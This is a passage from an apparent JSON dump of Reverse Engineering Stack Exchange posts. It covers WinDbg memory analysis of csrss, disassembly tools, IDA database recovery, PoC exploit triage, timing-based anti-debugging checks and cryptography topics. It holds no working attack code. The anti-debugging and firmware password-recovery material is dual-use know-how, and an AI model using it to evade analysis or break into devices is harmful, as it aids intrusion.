\n81223b80 ( 6)        260      26f         6 Private      READWRITE         \n812275c0 ( 0)      4a680    4a684         2 Mapped  Exe  EXECUTE_WRITECOPY  \\WINDOWS\\system32\\csrss.exe\n811f4fd8 ( 2)      75b40    75b4a         2 Mapped  Exe  EXECUTE_WRITECOPY  \\WINDOWS\\system32\\csrsrv.dll\n811cced0 ( 1)      7c900    7c9b1         5 Mapped  Exe  EXECUTE_WRITECOPY  \\WINDOWS\\system32\\ntdll.dll\n8121f440 ( 3)      `7f6f0    7f7ef         0 Mapped       EXECUTE_READWRITE`  Pagefile-backed section\n81167108 ( 2)      7ffb0    7ffd3         0 Mapped       READONLY           Pagefile-backed section\n811e1d30 ( 4)      7ffdd    7ffdd         1 Private      READWRITE         \n811e21b0 ( 3)      7ffde    7ffde         1 Private      READWRITE         \n\nTotal VADs:    13  average level:    3  maximum depth: 6\n</code></pre>\n\n<p>dump call stack </p>\n\n<pre><code>kd&gt; kb\nChildEBP RetAddr  Args to Child              \n0015fda4 75b437b8 00007008 7f6f0000 00100000 ntdll!RtlCreateHeap+0x5be\n0015fe28 75b42f9a 001626dd 00000000 00000000 CSRSRV!CsrSrvCreateSharedSection+0x23f\n0015ff74 75b430f3 0000000a 001624f0 7c90dc9e CSRSRV!CsrParseServerCommandLine+0x255\n0015ff88 4a68115d 0000000a 001624f0 00000005 CSRSRV!CsrServerInitialization+0x95\n0015ffa8 4a6818d7 0000000a 001624f0 0016251c csrss!main+0x4f\n0015fff4 00000000 7ffde000 000000c8 00000166 csrss!NtProcessStartup+0x1d2\n</code></pre>\n\n<p>list of breakpoints</p>\n\n<pre><code>kd&gt; bl\n 0 e 8058124c     0001 (0001) nt!NtCreateProcessEx\n 1 e 805691ea     0001 (0001) nt!NtAllocateVirtualMemory \"!vad @@c++(((nt!_EPROCESS *) 0x81160020)-&gt;VadRoot);kb;.echo \\n;dd poi(@esp+8);\"\n 2 e 7f6f0000 w 1 0001 (0001)\n</code></pre>\n\n<p>you can follow this methodology with winlogon further below in the chain</p>\n\n<p><strong>update to answer comment</strong>   </p>\n\n<p>the breakpoint @NtAllocateVirtualMemory did not catch the allocation of vad 12<br>\nwhich was RWX allotment from vad11 my breakpoint got hit only when vad 13 was allocated<br>\nand printing vadtree i found that the vads had increased by 2 and one of them was the   7f6f0000 rwx page so maybe another way is used to add the vad to vad tree insted of   NtAllocateVirtualMemory it is possible that rwx needs to be reset and isnt being reset needs investigation</p>\n\n<p>i can only confirm that the page is indeed HEAP and seems to mapped in almost every process\nwith EXECUTE_READ permissions on all the process vads except in csrss where it is RWX</p>\n\n<pre><code>lkd&gt; .logopen c:\\check7f6f0page.txt\nOpened log file 'c:\\check7f6f0page.txt'\nlkd&gt; !for_each_process \".process /p /r @#Process ; !grep -c \\\"!vad @@c++( ( ( nt!_EPROCESS *) @#Process )-&gt;VadRoot)\\\" -e \\\"7f6f0\\\"\"\nlkd&gt; .logclose\nClosing open log file c:\\check7f6f0page.txt\n</code></pre>\n\n<p>results show this page is mapped in all process</p>\n\n<pre><code>lkd&gt; .shell grep \"7f6f0    7f7ef         0 Mapped\" c:\\check7f6f0page.txt\n&lt;.shell waiting 1 second(s) for process&gt;\n86d39250 ( 4)      7f6f0    7f7ef         0 Mapped       EXECUTE_READWRITE  Pagefile-backed section\n86d39250 ( 4)      7f6f0    7f7ef         0 Mapped       EXECUTE_READWRITE  Pagefile-backed section\n86e87fd8 ( 4)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section\n86e87fd8 ( 4)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section\n86b96d10 ( 3)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section\n86b96d10 ( 3)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section\n86abfe80 ( 3)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section\n86abfe80 ( 3)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section\n86eaf3a8 ( 3)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section\n86eaf3a8 ( 3)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section\n86b3fda8 ( 4)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section\n86e77b20 ( 2)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section\n</code></pre>\n\n<p>and confirms to structure _HEAP</p>\n\n<pre><code>lkd&gt; dt -r nt!_HEAP 0x7f6f0000\n   +0x000 Entry            : _HEAP_ENTRY\n      +0x000 Size             : 0xc8\n      +0x002 PreviousSize     : 0\n      +0x000 SubSegmentCode   : 0x000000c8 Void\n      +0x004 SmallTagIndex    : 0x1e ''\n      +0x005 Flags            : 0x1 ''\n      +0x006 UnusedBytes      : 0 ''\n      +0x007 SegmentIndex     : 0 ''\n   +0x008 Signature        : 0xeeffeeff\n   +0x00c Flags            : 0x7008\n   +0x010 ForceFlags       : 8\n   +0x014 VirtualMemoryThreshold : 0xfe00\n   +0x018 SegmentReserve   : 0x100000\n</code></pre>\n\n<p>dump of 7f6f0000</p>\n\n<pre><code>lkd&gt; dd 7f6f0000 l1c/4\n7f6f0000  000000c8 0000011e eeffeeff 00007008\n7f6f0010  00000008 0000fe00 00100000\n</code></pre>\n\n<p>and you can confirm this pattern is indeed heap if you look at ntdll!RtlCreateHeap </p>\n\n<pre><code>lkd&gt; !grep -c \"uf ntdll!RtlCreateHeap\" -e \"ebp-24h\"\n7c925dcd c745dc88050000  mov     dword ptr [ebp-24h],588h\n7c925de7 c745dcc0050000  mov     dword ptr [ebp-24h],5C0h\n7c925e87 8145dc80000000  add     dword ptr [ebp-24h],80h\n7c925eb1 8b75dc          mov     esi,dword ptr [ebp-24h]\n7c93c079 0145dc          add     dword ptr [ebp-24h],eax\n</code></pre>\n\n<p>dis assemble where the address is used   </p>\n\n<pre><code>lkd&gt; u 7c925eb1\nntdll!RtlCreateHeap+0x421:\n7c925eb1 8b75dc          mov     esi,dword ptr [ebp-24h]\n7c925eb4 83c607          add     esi,7\n7c925eb7 83e6f8          and     esi,0FFFFFFF8h\n7c925eba 8bc6            mov     eax,esi\n7c925ebc c1e803          shr     eax,3\n7c925ebf 8b4de4          mov     ecx,dword ptr [ebp-1Ch]\n7c925ec2 668901          mov     word ptr [ecx],ax\n</code></pre>\n\n<p>evaluate the expression</p>\n\n<pre><code>lkd&gt; ? ((588 + 80 &gt;&gt; 3) + 7)  &amp; 0x0fffffff8 \nEvaluate expression: 200 = 000000c8\n</code></pre>\n\n<p><strong>update</strong> </p>\n\n<p>the RWX page in csrss is <code>_CsrSrvSharedSectionHeap</code> == <code>_CsrSrvSharedSectionBase</code><br>\nthat specifc value is queried from registry  and  mapped with NtMapViewOfSection<br>\nor a Section Created using NtCreateSection\nall of this happens under<br>\n<code>csrss!main -&gt;csrsrv.dll -&gt;CsrsrvCreateSharedSection</code> </p>\n\n<pre><code>reg query \"hklm\\system\\currentcontrolset\\control\\session manager\\subsystems\\csrss\"\n! REG.EXE VERSION 3.0    \nHKEY_LOCAL_MACHINE\\system\\currentcontrolset\\control\\session manager\\subsystems\\csrss\n        CsrSrvSharedSectionBase     REG_DWORD       0x7f6f0000\n</code></pre>\n"
    },
    {
        "Id": "3443",
        "CreationDate": "2014-01-12T22:56:08.513",
        "Body": "<p>One of the major hurdles of x86 disassembly is separating code from data. All available open-source disassembly library only perform a straight line disassembly (starts from the top and skips errors by 1 byte), compared with OllyDBG which apparently uses a control flow disassembly (using opcodes like CALL and JMP) or IDA using heuristics and emulation. However these two aren't open-source.</p>\n\n<p>My question is, is there any open-source library or project that uses a better technique than simple straight line disassembly (control flow or heuristics based) ?</p>\n\n<p>I stumbled upon a paper using a machine learning approach ? is there an open-source implementation of this approach ?</p>\n",
        "Title": "Open-Source library for Complete Binary Disassembly",
        "Tags": "|disassembly|x86|",
        "Answer": "<p>Another OpenSource library that might of interest.</p>\n\n<p><a href=\"http://www.capstone-engine.org\" rel=\"nofollow noreferrer\">Capstone Engine</a></p>\n\n<p>It supports several architectures, such as x86 (+AMD64), ARM, PowerPC and SPARC.</p>\n"
    },
    {
        "Id": "3444",
        "CreationDate": "2014-01-13T02:36:33.147",
        "Body": "<p>I have newbie question that concerns IDA pro and Visual studio 2010. Basically I started a new \"Empty Project\" in VS 2010 and added a main function to the .cpp file. Then I compiled it to binary and opened up the binary using IDA Pro. However, I could not locate the main function. Why is that?</p>\n",
        "Title": "Could not find main function in IDA pro?",
        "Tags": "|ida|disassembly|windows|",
        "Answer": "<p>start is the address that IDA pulls from the file header.  For PE files this corresponds to (AddressOfEntryPoint + ImageBase). start != main, main is language (C/C++) specific requirement, not all languages require \"main\".</p>\n\n<p>One of the jobs of the code that executes between start and main is to setup all the arguments that main expects (argc, argv, envp) in the manner that main expects to receive them according to the calling conventions of the platform for which the binary was built.</p>\n\n<p>IDA attempts to locate main for you because you are often not interested in the code between start and main which is generally just compiler boiler plate code. In some cases IDA will note that there is a symbol named main and just drop you there. In other cases, IDA does what is effectively signature matching against the start code to pick out the address of main. Compilers tend to have unique ways of reaching main, so if (a big if) IDA has a signature for a specific compiler, then it may be able to pick main out for you.</p>\n\n<p>You don't mention whether you are using IDA on the Debug or Release version of your binary. In my experience with IDA/Visual Studio, IDA will have a tough time finding main on Debug builds and does a better job on Release builds. If you compare the two different .exe files, you will see that they are vastly different. Specifically flow through Debug builds is much more complicated than through Release builds.</p>\n"
    },
    {
        "Id": "3451",
        "CreationDate": "2014-01-13T17:11:10.477",
        "Body": "<p>I'm reversing an application with IDA.\nMy VM crashed and left the IDA database in a corrupted unpacked state. </p>\n\n<p>The next time I tried to load it back, IDA gave me the following error message: <code>The input database is corrupted: CRC32 mistmatch. Continue?</code> a few times, then it quit with the error <code>bTree error: index file is bad</code>. Google-ing these error messages gave no useful results, which is unusual. </p>\n\n<p>I'ld like restore the database, or at least extract the data somehow. </p>\n\n<p>I've already tried the following:</p>\n\n<ul>\n<li>Zynamics bindiff (couldn't open the IDB, said it's probably opened in another IDA instance, which I guess Is a result of the corrupted data)</li>\n<li>Manual hex diff - I just can't interpret the output.</li>\n</ul>\n\n<p>At this point I'm thinking of somehow <strong>parsing the IDB</strong> and then diffing that output manually.</p>\n\n<p><strong>So, how can I parse/extract data from IDB files?</strong></p>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/3452/how-do-you-manage-backup-your-ida-database\">Related.</a></p>\n",
        "Title": "Parsing/Rescuing corrupted IDA database",
        "Tags": "|ida|binary-analysis|file-format|struct|hex|",
        "Answer": "<p>I published some tools on github which can do just that: <a href=\"https://github.com/nlitsme/pyidbutil\" rel=\"noreferrer\">https://github.com/nlitsme/pyidbutil</a> and <a href=\"https://github.com/nlitsme/idbutil\" rel=\"noreferrer\">https://github.com/nlitsme/idbutil</a>.\nThe first is written in python, the second in C++, both have similar functionality.</p>\n\n<p><code>pyidbutil</code> provides the most low level recovery options: using <code>--pagedump</code> you can dump each page in the file without the need of an intact logical file structure.</p>\n"
    },
    {
        "Id": "3452",
        "CreationDate": "2014-01-13T17:15:33.590",
        "Body": "<p>Recently I lost an important IDA database. Up until now, I manually made a copy of my work IDB every day, but that's obviously not a good backup technique. I was wondering how do you manage/backup your IDB. Like make a copy of the current IDB every minute or something like that.</p>\n",
        "Title": "How do you manage/backup your IDA database?",
        "Tags": "|ida|",
        "Answer": "<p>The recently added <a href=\"http://www.hexblog.com/?p=415\" rel=\"noreferrer\">database snapshot feature</a> allows you to set up periodical snapshots of your database.</p>\n\n<p><img src=\"https://i.stack.imgur.com/NDVrj.png\" alt=\"IDA Database snapshot manager\"></p>\n"
    },
    {
        "Id": "3457",
        "CreationDate": "2014-01-14T12:50:48.203",
        "Body": "<p><a href=\"https://www.hex-rays.com/products/ida/\" rel=\"nofollow\">IDA</a> can disassemble to assembly. But, reading large assembly blocks with byte shifts, etc, is tedious work. I rather would read pseudo-code. </p>\n\n<p>Are there any documents, tutorials or tools for this work targeting MIPS platform? What methods are you people using ? Sorry if this question is off-topic but normal Google search didn't yield much for MIPS.</p>\n\n<p>Edit: I try to decompile modem firmware image and look for default telnet password actually since WebUI passwords dont work and my ISP does not know it too.</p>\n",
        "Title": "Is it possible to convert MIPS ASM to code?",
        "Tags": "|ida|assembly|decompiler|mips|",
        "Answer": "<p>try use <a href=\"https://github.com/drvink/epanos\" rel=\"nofollow\">https://github.com/drvink/epanos</a><br>\nfrom project page <code>ElectroPaint Automatic No-source Object reaSsembler (a MIPS to C decompiler)\nThis is a very dumb MIPS to C static translator. Consider it a proof of concept, as it has successfully worked</code> \nThe decompiler depends on IDA pro  </p>\n\n<p>best way is use IDA PRO &amp; your brain   </p>\n"
    },
    {
        "Id": "3468",
        "CreationDate": "2014-01-16T03:48:21.593",
        "Body": "<p>In Visual Studio I have written simple code,</p>\n\n<pre><code>int pranit = 2;\nint&amp; sumit = pranit;\n\nint main(int argc, char** argv) {\n    sumit++;\n    return sumit;\n}\n</code></pre>\n\n<p>I used OllyDbg to Disassamble, but I am not able to find where  <code>sumit</code>, <code>pranit</code> are defined in assembly. Though doing some string search I got following details:</p>\n\n<pre><code>Names in ConsoleA, item 313  Address=013B8004  Section=.data \nType=Library  Name=sumit\n\nNames in ConsoleA, item 257  Address=013B8000  Section=.data \nType=Library  Name=pranit\n</code></pre>\n\n<p>How to find, where and how it is used in assembly code. Also, I want to find out both address and value of these global variables. </p>\n",
        "Title": "How to find how global variables defined in binary",
        "Tags": "|disassembly|debuggers|binary-analysis|c++|",
        "Answer": "<p>opening a vc commandprompt using </p>\n\n<pre><code>start-&gt;programs-&gt;vc-&gt;vc command prompt\n</code></pre>\n\n<p>Setting environment for using Microsoft Visual Studio 2010 x86 tools.\ncreating a tempdir in desktop for compiling and linking</p>\n\n<pre><code>C:\\Program Files\\Microsoft Visual Studio 10.0\\VC&gt;cd \"c:\\Documents and Settings\\Admin\\Desktop\"\nC:\\Documents and Settings\\Admin\\Desktop&gt;md pran\nC:\\Documents and Settings\\Admin\\Desktop&gt;cd pran\nC:\\Documents and Settings\\Admin\\Desktop\\pran&gt;copy con prankasum.cpp\n^Z\n        1 file(s) copied.\nC:\\Documents and Settings\\Admin\\Desktop\\pran&gt;write prankasum.cpp    \nC:\\Documents and Settings\\Admin\\Desktop\\pran&gt;type prankasum.cpp\n#include &lt;stdio.h&gt;\nint pranit = 2;\nint&amp; sumit = pranit;\nint main(int argc, char** argv)\n{\nsumit++;\nreturn sumit;\n}    \nC:\\Documents and Settings\\Admin\\Desktop\\pran&gt;dir /b\nprankasum.cpp    \nC:\\Documents and Settings\\Admin\\Desktop\\pran&gt;cl /nologo /Zi prankasum.cpp /link /RELEASE\nprankasum.cpp    \nC:\\Documents and Settings\\Admin\\Desktop\\pran&gt;dir /b\nprankasum.cpp\nprankasum.exe\nprankasum.obj\nprankasum.pdb\nvc100.pdb\n</code></pre>\n\n<p>opening the exe in ollydbg and navigating to main<br>\ntab the comment column to show source and in debugging options ask ollydbg to use recogneized args and locals</p>\n\n<pre><code>C:\\Documents and Settings\\Admin\\Desktop\\pran&gt; ollydbg prankasum.exe      \n00401000  &gt;PUSH    EBP                          ; {\n00401001   MOV     EBP, ESP\n00401003   MOV     EAX, DWORD PTR DS:[sumit]    ; sumit++;\n00401008   MOV     ECX, DWORD PTR DS:[EAX]\n0040100A   ADD     ECX, 1\n0040100D   MOV     EDX, DWORD PTR DS:[sumit]\n00401013   MOV     DWORD PTR DS:[EDX], ECX\n00401015   MOV     EAX, DWORD PTR DS:[sumit]    ; return sumit;\n0040101A   MOV     EAX, DWORD PTR DS:[EAX]\n0040101C   POP     EBP                          ; }\n0040101D   RETN\n</code></pre>\n\n<p>or in windbg</p>\n\n<pre><code>prankasum!main:\n00401000 55              push    ebp\n0:000&gt; uf @eip\nprankasum!main [c:\\documents and settings\\admin\\desktop\\pran\\prankasum.cpp @ 5]:\n    5 00401000 55              push    ebp\n    5 00401001 8bec            mov     ebp,esp\n    6 00401003 a104b04000      mov     eax,dword ptr [prankasum!sumit (0040b004)]\n    6 00401008 8b08            mov     ecx,dword ptr [eax]\n    6 0040100a 83c101          add     ecx,1\n    6 0040100d 8b1504b04000    mov     edx,dword ptr [prankasum!sumit (0040b004)]\n    6 00401013 890a            mov     dword ptr [edx],ecx\n    7 00401015 a104b04000      mov     eax,dword ptr [prankasum!sumit (0040b004)]\n    7 0040101a 8b00            mov     eax,dword ptr [eax]\n    8 0040101c 5d              pop     ebp\n    8 0040101d c3              ret\n0:000&gt; dv\n           argc = 0n1  argv = 0x00033ba8\n0:000&gt; ?? sumit     int * 0x0040b000\n0:000&gt; ?? pranit    int 0n2\n0:000&gt; pct    0040101d c3              ret\n0:000&gt; ?? sumit    int * 0x0040b000\n0:000&gt; ?? pranit    int 0n3\n0:000&gt; x /t /v /q prankasum!sumit\nprv global 0040b004    4 int * @!\"prankasum!sumit\" = 0x0040b000\n0:000&gt; x /t /v /q prankasum!pranit\nprv global 0040b000    4 int @!\"prankasum!pranit\" = 0n3\n</code></pre>\n\n<p><strong>update</strong></p>\n\n<p>explanation for tabbing through comment column </p>\n\n<p>each mdi window in ollydbg has a bar in top it can be hidden or shown</p>\n\n<pre><code>right click -&gt; appearance -&gt; show bar / hide bar\n</code></pre>\n\n<p>each of the bars have columns and many of the colums can be configured to show different \nitems in cpu window if you <code>repeatedly click the comment column</code> it will cycle through </p>\n\n<pre><code>comment / profile/ and source\n</code></pre>\n\n<p>comment will show all the </p>\n\n<pre><code>analysis comments / user comments\n</code></pre>\n\n<p>profile will show all the <code>run trace / hittrace/ module and global profile statistics</code></p>\n\n<p>for example this <code>strcpy_s</code> was called 50 times during crt initialisation</p>\n\n<pre><code>004019EC   |.  &gt;|CALL    prankasu.strcpy_s           ;  50.\n</code></pre>\n\n<p>inside this call this loop was called  ~2700 times</p>\n\n<pre><code>00403D45   /MOV     CL, BYTE PTR DS:[EAX]       ;  2787.\n00403D47   |MOV     BYTE PTR DS:[ESI+EAX], CL   ;  2787.\n00403D4A   |INC     EAX                         ;  2787.\n00403D4B   |TEST    CL, CL                      ;  2787.\n00403D4D   |JE      SHORT prankasu.00403D52     ;  2787.\n00403D4F   |DEC     EDI                         ;  2737.\n00403D50   \\JNZ     SHORT prankasu.00403D45     ;  2737.\n00403D52   TEST    EDI, EDI                     ;  50.\n</code></pre>\n\n<p>if you cycle through to source column</p>\n\n<pre><code>strcpy_s is from vc\\crt\\stdenvp.c:133.  _ERRCHECK(_tcscpy_s(*env, cchars, p));\n</code></pre>\n\n<p>see below</p>\n\n<pre><code>004019E9   |PUSH    ESI           ; _ERRCHECK(_tcscpy_s(*env, cchars, p));\n004019EA   |PUSH    EBX\n004019EB   |PUSH    EAX\n004019EC   |CALL    prankasu.strcpy_s\n004019F1   |ADD     ESP, 0C\n</code></pre>\n\n<p>loop is from <code>vc\\crt\\tcscpy_s_inl</code></p>\n\n<pre><code>00403D41   MOV     ESI, EDX        ; while ((*p++ = *_SRC++) != 0 &amp;&amp; --available &gt; 0)\n00403D43   SUB     ESI, EAX\n00403D45   /MOV     CL, BYTE PTR DS:[EAX]\n00403D47   |MOV     BYTE PTR DS:[ESI+EAX], CL\n00403D4A   |INC     EAX\n00403D4B   |TEST    CL, CL\n00403D4D   |JE      SHORT prankasu.00403D52\n</code></pre>\n\n<p>cycling to comment back you see</p>\n\n<pre><code>004019E9   |.  56    |PUSH    ESI                         ; /Arg3 = 7C90DE6E\n004019EA   |.  53    |PUSH    EBX                         ; |Arg2 = 00000000\n004019EB   |.  50    |PUSH    EAX                         ; |Arg1 = 00000000\n004019EC   |.  E8 1D&gt;|CALL    prankasu.strcpy_s           ; \\strcpy_s\n</code></pre>\n\n<p><code>options-&gt;debugging options-&gt;cpu-&gt;select show symbolic address</code> will make \n<code>XXXXXX [40xxxx]</code> to be shown as </p>\n\n<pre><code>xxxxxx [sumit]\n</code></pre>\n\n<p><code>options -&gt;debugging options-&gt;analysis-&gt;select show args and locals in procedure</code> will make all <code>ebp+XX</code> to <code>arg.1 arg.2</code> and all <code>ebp-XX</code> to <code>local.1 local.2</code> </p>\n\n<pre><code>both ollydbg 1.10 and 2.01 behave similarly\n</code></pre>\n\n<p><code>full</code> or <code>partial (stripped down )</code>symbolic information in any acceptable format (<code>map tds pdb dbg</code> ) is <code>**mandatory**</code> <code>**requirement**</code>  </p>\n"
    },
    {
        "Id": "3471",
        "CreationDate": "2014-01-16T13:52:56.277",
        "Body": "<p>My daily job is analyzing reported proof of concept files that exploits document viewers. People who report vulnerabilities in document viewers just give me the PoC and vulnerable version number. They usually fuzz stuff and find offset that leads to stack overflows etc. Which means they do not give me info about the root cause of the vuln. So only with the vulnerable binary and the PoC, I need to analyze following things:</p>\n\n<ol>\n<li><p>Does the PoC actually work?</p></li>\n<li><p>In which part of the binary is vulnerable? (ex. no argument checking in function A ... blah blah; I need to know this because I have to contact the vendor to fix the vuln)</p></li>\n</ol>\n\n<p>I am new to this field and currently this is how I do it(I analyze in XP).</p>\n\n<ol>\n<li><p>Run the PoC</p></li>\n<li><p>look at the call stack when there is a exception->follow them</p></li>\n<li><p>Check whether SEH is corrupted -> set breakpoint on the corrupted SEH to find the instruction that overflows the stack</p></li>\n</ol>\n\n<p>By playing around I can find the assembly instruction that triggers the exploit. However, it is hard to backtrack all the way to the root cause. Assembly instruction that overflows is usually in the library but the vuln is not the library, it is the user program that maliciously called the library right? </p>\n\n<p>I don't know if I made my point clear but need some tips doing this kind of reverse engineering. </p>\n",
        "Title": "Do you have tips analyzing reported PoC(exploit) files?",
        "Tags": "|exploit|vulnerability-analysis|seh|",
        "Answer": "<p>First, your platform is very important ( mine is Windows )</p>\n\n<p>In Windows WinDbg + <code>!exploitable</code> is one of fast analyze options.\nit is <a href=\"http://msecdbg.codeplex.com/\" rel=\"nofollow\">here</a></p>\n\n<p>Additionally I use WinDbg + <code>!analyze</code> to determine standard name of bug...\nit is default WinDbg extension.</p>\n\n<p>Finally, as the nature of bugs is unknown (in your case) it is not an easy way to detect root cause.</p>\n"
    },
    {
        "Id": "3473",
        "CreationDate": "2014-01-17T19:16:10.480",
        "Body": "<p>I am told that tools like <strong>IDA Pro</strong> are static disassembly tool,\nand tools like <strong>OllyDbg</strong> are dynamic disassembly tool.</p>\n\n<p>But from the using experiences on these tools, I don't think there \nis any difference between the tools in <strong>disassembly</strong> procedure.</p>\n\n<p>Basically all you need to do is load binary file into IDA or OllyDbg, \nand they will use certain recursive disassembly algorithm to disassembly\nthe binary and give you the output.</p>\n\n<p>Am I wrong..? Then what is the difference between static disassembly \nand dynamic disassembly..?</p>\n\n<p>Thank you!</p>\n",
        "Title": "What is the difference between static disassembly and dynamic disassembly?",
        "Tags": "|ida|disassembly|ollydbg|disassemblers|",
        "Answer": "<p>I actually don't think that there was any mix up. In fact, there exist two disassembly techniques : static &amp; dynamic. The definitions provided here come from this 2003 publication on code obfuscation : <a href=\"http://www.cs.arizona.edu/solar/papers/CCS2003.pdf\" rel=\"noreferrer\">http://www.cs.arizona.edu/solar/papers/CCS2003.pdf</a></p>\n\n<ul>\n<li><p><strong>Static disassembly</strong> is where the file being disassembled isn't executed during the course of disassembly.</p></li>\n<li><p><strong>Dynamic disassembly</strong> is where the file is being executed on some input and the execution is being monitored by an external tool (debugger, ...) to identify the instructions being executed.</p></li>\n</ul>\n\n<p>This link (<a href=\"http://www.maqao.org/publications/madras_techreport.pdf\" rel=\"noreferrer\">http://www.maqao.org/publications/madras_techreport.pdf</a>) provides an interesting coverage of techniques used by some disassemblers &amp; binary instrumenters. Though it is not exhaustive and doesn't directly answer your question, you'll find more references to check.</p>\n\n<p>About dynamic &amp; static binary analysis, these  two techniques are mainly performed for profiling applications. The purpose is to acquire information about hot spots, memory access patterns, ... </p>\n\n<ul>\n<li><p>The <strong>static analysis</strong> is usually based on analyzing the program without the need to execute it. It is mostly based on finding patterns, counting memory references, ... The Wikipedia page about <em>Static program analysis</em> is, from my point of view, incomplete but still a good read.</p></li>\n<li><p>The <strong>dynamic analysis</strong>, on the other hand, involves executing the program and requires instrumentation of basic blocks such as loops, functions, ... The instrumentation consists of inserting probes at the entry and exit of a basic block which will measure the time according to a certain metric (CPU cycles, time in \u00b5s, ...). The information gathered after analysis is usually used to optimize the application by performing loop unrolling with a suitable unroll factor, vectorization if possible (SSE, AVX, Altivec, ...), etc.</p></li>\n</ul>\n\n<p>Many tools perform both the latter techniques : Intel's VTune, MAQAO, DynInst, gprof, ...</p>\n\n<p>I myself have written a <strong>GCC</strong> plugin, which you can find on my Github under the path <strong>/yaspr/zebuprof</strong>, which does instrumentation at the source level and performs static &amp; dynamic analysis.</p>\n\n<p>I hope this clarifies things a bit.</p>\n"
    },
    {
        "Id": "3476",
        "CreationDate": "2014-01-18T21:06:45.170",
        "Body": "<p>According to my knowledge, several obfuscation strategies are widely used(or at least described in academic) like:</p>\n\n<ul>\n<li><p>complicating control flow</p>\n\n<ol>\n<li>inserting bogus control-flow</li>\n<li>control-flow flattening</li>\n<li>jump through branch functions</li>\n<li>opaque values from array aliasing</li>\n</ol></li>\n<li><p>Opaque Predicates</p>\n\n<ol>\n<li>opaque predicates from pointer aliasing</li>\n</ol></li>\n<li><p>dynamic obfuscation</p>\n\n<ol>\n<li>self-modifying state machine</li>\n<li>code as key material</li>\n</ol></li>\n</ul>\n\n<p>From the examples they give when introducing these obfuscation ways, multi-thread program has not been talked.</p>\n\n<p>So I am wondering whether these strategies are feasible(or even feasible, but not very practical) in multi-thread programs?</p>\n",
        "Title": "What is the difficulty/advantage to obfuscate a multi-thread program?",
        "Tags": "|obfuscation|deobfuscation|multi-process|",
        "Answer": "<p>All of them are feasible. \nBy definition obfuscating code transformation is transformation that preserves functional equivalency of obfuscated program, so there is no any difference between multi-thread and single-thread programs from this point of view.</p>\n"
    },
    {
        "Id": "3477",
        "CreationDate": "2014-01-19T05:55:16.910",
        "Body": "<p>I have seen several anti-debug strategies, and I am wondering if there are some anti-debugger methods that can evaluate the program running time, thus detecting the exist of debugger.</p>\n",
        "Title": "How to detect a debugger using some \"time\" checking strategies?",
        "Tags": "|debuggers|anti-debugging|",
        "Answer": "<p>There are CPU instructions and OS APIs that can achieve this, such as</p>\n\n<pre><code>RDPMC\nRDTSC\nGetLocalTime\nGetSystemTime\nGetTickCount\nKiGetTickCount\nQueryPerformanceCounter\ntimeGetTime\n</code></pre>\n\n<p>The result is achieved by requesting the current time, performing some kind of CPU-intensive operation (or requiring that someone debugging the code does so, such as single-stepping), requesting the time again, and then calculating the delta between the two.  If the delta is significantly larger than you would expect in native execution mode, then it suggests the presence of the debugger.  Note, however, that this is far from an accurate method, since that result is indistinguishable from a system under heavy load.</p>\n\n<p>This is covered in some detail in section \"(C) Execution Timing\" in my \"Ultimate\" Anti-Debugging Reference (<a href=\"http://pferrie.host22.com/papers/antidebug.pdf\" rel=\"nofollow\">http://pferrie.host22.com/papers/antidebug.pdf</a>)</p>\n"
    },
    {
        "Id": "3480",
        "CreationDate": "2014-01-19T11:00:44.017",
        "Body": "<p>Is understanding of Cryptography really important for a reverse engineer? </p>\n\n<p>Thanks.</p>\n",
        "Title": "How much Cryptography knowledge is important for reverse engineering?",
        "Tags": "|cryptography|",
        "Answer": "<p>I'd say it's a very useful tool to have in the arsenal, but your use of it will depend upon your ultimate goals. Personally, I use it a fair bit on binary application assessments, but that's not the case for everyone. As I said, it largely depends on what you want to be doing.</p>\n\n<p>At the end of the day, you will see cryptography being used in applications if you end up doing reverse engineering work. Understanding and breaking that cryptography may or may not be part of your job, but it's always nice to have at least a basic understanding of the field. It's always a nice +1 on your resume, too.</p>\n\n<p>In terms of <em>what</em> you should learn, I'd say avoid the \"classic cipher\" stuff and go straight for the meat and potatoes. I can count on one hand the number of times I've had to break a simple custom transposition cipher or substitution cipher in a real product. They're just not used in reality, and if the client is using such awful \"crypto\" then that's already a major issue to flag to them - breaking it becomes a moot point.</p>\n\n<p>You want to be looking into:</p>\n\n<ul>\n<li>Simple xor ciphers (one-time pad, two-time pad, repeated key xor)</li>\n<li>Stream ciphers</li>\n<li>Use of initialisation vectors (IVs) to avoid key re-use issues</li>\n<li>Stream cipher malleability</li>\n<li>Block ciphers</li>\n<li>Block cipher padding</li>\n<li>Block cipher modes of operation (Cipher Block Chaining especially)</li>\n<li>Issues with Electronic Code Book (ECB) mode</li>\n<li>IVs in block ciphers</li>\n<li>Malleability in CBC</li>\n<li>Padding oracle attacks</li>\n<li>Compression oracle attacks (e.g. CRIME)</li>\n<li>Hash functions (MD5, SHA1, etc.)</li>\n<li>Hash collisions and the birthday paradox</li>\n<li>Message Authentication Codes (e.g. HMAC construction)</li>\n<li>Asymmetric cryptography (e.g. RSA)</li>\n<li>Key exchange mechanisms (e.g. Diffie-Hellman)</li>\n<li>Hybrid cryptosystems (i.e. using asymmetric to send key, symmetric to encrypt)</li>\n<li>The list of common issues around SSL/TLS and PKI:\n<ul>\n<li>Not validating CA properly</li>\n<li>Not validating common name properly</li>\n<li>Not validating expiry or valid from dates</li>\n<li>Allowing weak ciphers (e.g. NULL, DES)</li>\n<li>Allowing weak certificate signatures (e.g. MD5)</li>\n<li>etc... (see OWASP for more)</li>\n</ul></li>\n</ul>\n\n<p>The list is pretty big, but it's stuff you can pick up from Wikipedia and other various places online at your own pace. If you understand half of the topics above at a level strong enough to identify a weak implementation, then you're very much on track. Almost every single product I've ever done work that has used crypto has had an issue in that list.</p>\n"
    },
    {
        "Id": "3482",
        "CreationDate": "2014-01-19T11:57:18.490",
